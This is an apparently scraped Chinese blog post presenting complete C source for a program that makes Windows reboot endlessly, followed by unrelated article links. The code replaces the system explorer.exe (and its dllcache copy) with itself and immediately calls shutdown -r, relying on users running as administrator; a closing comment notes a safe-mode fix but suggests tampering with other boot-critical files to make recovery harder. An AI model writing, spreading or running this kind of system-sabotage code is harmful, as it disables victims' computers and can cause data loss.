让你的Windows不断重启的C语言代码

原文:让你的Windows不断重启的C语言代码
没有写Linux的原因是因为搞不定Linux下的权限问题,而Windows下基本上使用电脑的用户都是管理员,所以钻个空了,不多说下面是代码
#include "stdio.h"
#include "process.h"
int copy_file(char *start,char *end)
{
    FILE *input,*output;
    if(((input=fopen(start,"rb"))!=NULL)&&((output=fopen(end,"wb"))!=NULL))
    {
        char temp;
        while(!feof(input))
        {
            fread(&temp,sizeof(char),1,input);
            fwrite(&temp,sizeof(char),1,output);
        }
        fclose(input);
        fclose(output);
        return 0;
    }
    return 1;
}
int auto_run(char *my)
{
    FILE *fp;
    if((fp=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
        fclose(fp);
        remove("C:\\windows\\$temp#");
        remove("C:\\windows\\system32\\dllcache\\$temp$");
    }
    else
    {
        copy_file("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");
        rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");
        rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");
        copy_file(my,"C:\\windows\\explorer.exe");
    }
    return 0;
}
int main(int argc,char **argv)
{
    auto_run(argv[0]);
    spawnl(1,"C:\\windows\\system32\\shutdown.exe"," -r -t 0",NULL);
    return 0;
}
/*据测试,在带有命令提示符的安全模式下好像并没有启动explorer.exe.而本程序正是通过修改explorer.exe达到不断重启的目的.所以只要在带有命令提示符的安全模式下将备份在windows\system\下的explorer.exe复制到windows\下就可以解决问题了,如果想做得更绝点的话,那就修改其它系统文件,比如修改一些即使是使用安全模式也必需要启动的系统文件,这样就比较棘手了*/

时间: 2024-09-20 00:41:55

让你的Windows不断重启的C语言代码的相关文章

在windows 2003 server中编写asp代码需要注意的地方

server|window 在windows 2003 server中编写asp代码,你可能会碰到下面的错误提示"不允许的父路径",涉及到的代码有: Server.MapPath(../)<!--#include file="../"--> 等.可能是出于安全考虑吧,微软屏蔽了脚本中对父路径的访问,但这可能会给我们的编程带来麻烦,尤其是原有asp的代码升级的时候.幸好,这个设置是可以关闭的,具体在下面这个地方IIS管理器中,在你的虚拟路径上点右键,属性,

在Windows Phone 8与Windows 8应用程序之间共享代码

Visual Studio 2012 为构建 Windows 8 和 Windows Phone 8 应用程序提供了一套出色的工具.因此,可以进 行适当的探究,以了解可在应用程序的 Windows 应用商店版本与 Windows Phone 版本之间共享多少代 码. 您可以采用多种不同语言编写 Windows 应用商店应用程序:XAML 搭配 C#.Visual Basic .C++,甚至是 HTML5 搭配 JavaScript. 通常采用 XAML 搭配 C# 或 Visual Basic

高仿Windows Phone QQ登录界面实例代码

 这篇文章主要介绍了高仿Windows Phone QQ登录界面实例代码,有需要的朋友可以参考一下 给 TextBox文本框前添加图片   扩展PhoneTextBox:添加一个类"ExtentPhoneTextBox"继承 PhoneTextBox ,在"ExtentPhoneTextBox"类中添加属性项:     代码如下: public class ExtentPhoneTextBox : PhoneTextBox     {         /// <

下载WIndows Server 2008 R2多语言用户界面包

该多语言用户界面 (MUI) 语言包为 http://www.aliyun.com/zixun/aggregation/13975.html">Windows Server 2008 R2 环境赋予多语言用户界面.向 Windows Server 2008 R2 映像添加一个或多个语言包,可在已安装的 Windows Server 操作系统中启用一种或多种语言.这样,企业可在面向全球部署同一 Windows Server 2008 R2 映像的同时提供本地化的用户界面. 由于产品策略不同,

Windows修复两个严重远程代码执行漏洞(CVE-2017-8543/8464)

本文讲的是Windows修复两个严重远程代码执行漏洞(CVE-2017-8543/8464),在本月的微软补丁日,其发布了多达95项修复程序以解决Windows,Office,Skype,Internet Explorer及其Edge浏览器中的漏洞.其中的27个补丁修复了远程代码执行问题,它们允许攻击者远程控制受害者的PC.在本次的漏洞评级中有18个严重,76个重要,1个中等. 最令人担忧的是目前正在受到攻击的两个漏洞,Windows Search远程执行代码漏洞(CVE-2017-8543)和

php+apache在windows下 国际化(多语言切换不成功)

问题描述 php+apache在windows下 国际化(多语言切换不成功) 5C OS: win7 64环境:wampserver 64位 (php5.4.12 +apache2.4.4)安装运行成功 php_gettext.dll开启前提:语言文件 *.mo 及 *.po 存在&路径没问题&编码为UTF-8如图 <?php $lan = $_REQUEST [ 'lan' ]; if ( $lan == 'zh_CN' ){ putenv('LANG=zh_CN' ); pute

《C语言编程魔法书:基于C11标准》——第3章 C语言编程的环境搭建3.1 Windows操作系统下搭建C语言编程环境

第3章 C语言编程的环境搭建 我们在第2章讲述了学习C语言所必需的一些预备知识.本章将给大家介绍常用桌面操作系统下的C语言环境搭建.这里所讲述的C语言编译器以及集成开发环境(IDE)都是可合法免费下载的,本书不鼓励各位使用盗版或破解软件,所以下面会列出下载这些合法免费软件的官方链接,大家把编程环境搭建完之后即可上机实践编程. 3.1 Windows操作系统下搭建C语言编程环境 Windows操作系统下默认不自带任何C语言编译器,大家必须从网上下载自己所需要的C语言编译器.如果各位想通过C语言开发

[Windows Phone] 以多国语言做为开发前提 (2)

原文:[Windows Phone] 以多国语言做为开发前提 (2) ? 前言 在先前的文章 [Windows Phone 开发 - 以多国语言做为开发前提 (1)] 中说明了简单的多国语言范例,今天再补充两个常见的例子,讯息中包含变数和图片,方法一样是透过资源档的方式达成. 此部分内容一样是来从 TechDays 2013 的课程 [开发 Windows Phone 商务应用程式就是这麽快] 学习而来. ? 讯息中包含变数 我们有一段讯息,讯息中包含变数,如下所示 : 英文(预设语言) The

windows下重启mysql的方法

  其中第二种方法对我这无效,以后再搞清楚! 一.MYSQL服务 我的电脑--(右键)管理--服务与应用程序--服务--MYSQL--开启(停止.重启动) 二.命令行方式 Windows 1.点击"开始"->"运行"(快捷键Win+R). 2.启动:输入 net stop mysql 3.停止:输入 net start mysql 提示* Redhat Linux 也支持service command,启动:# service mysqld start 停止: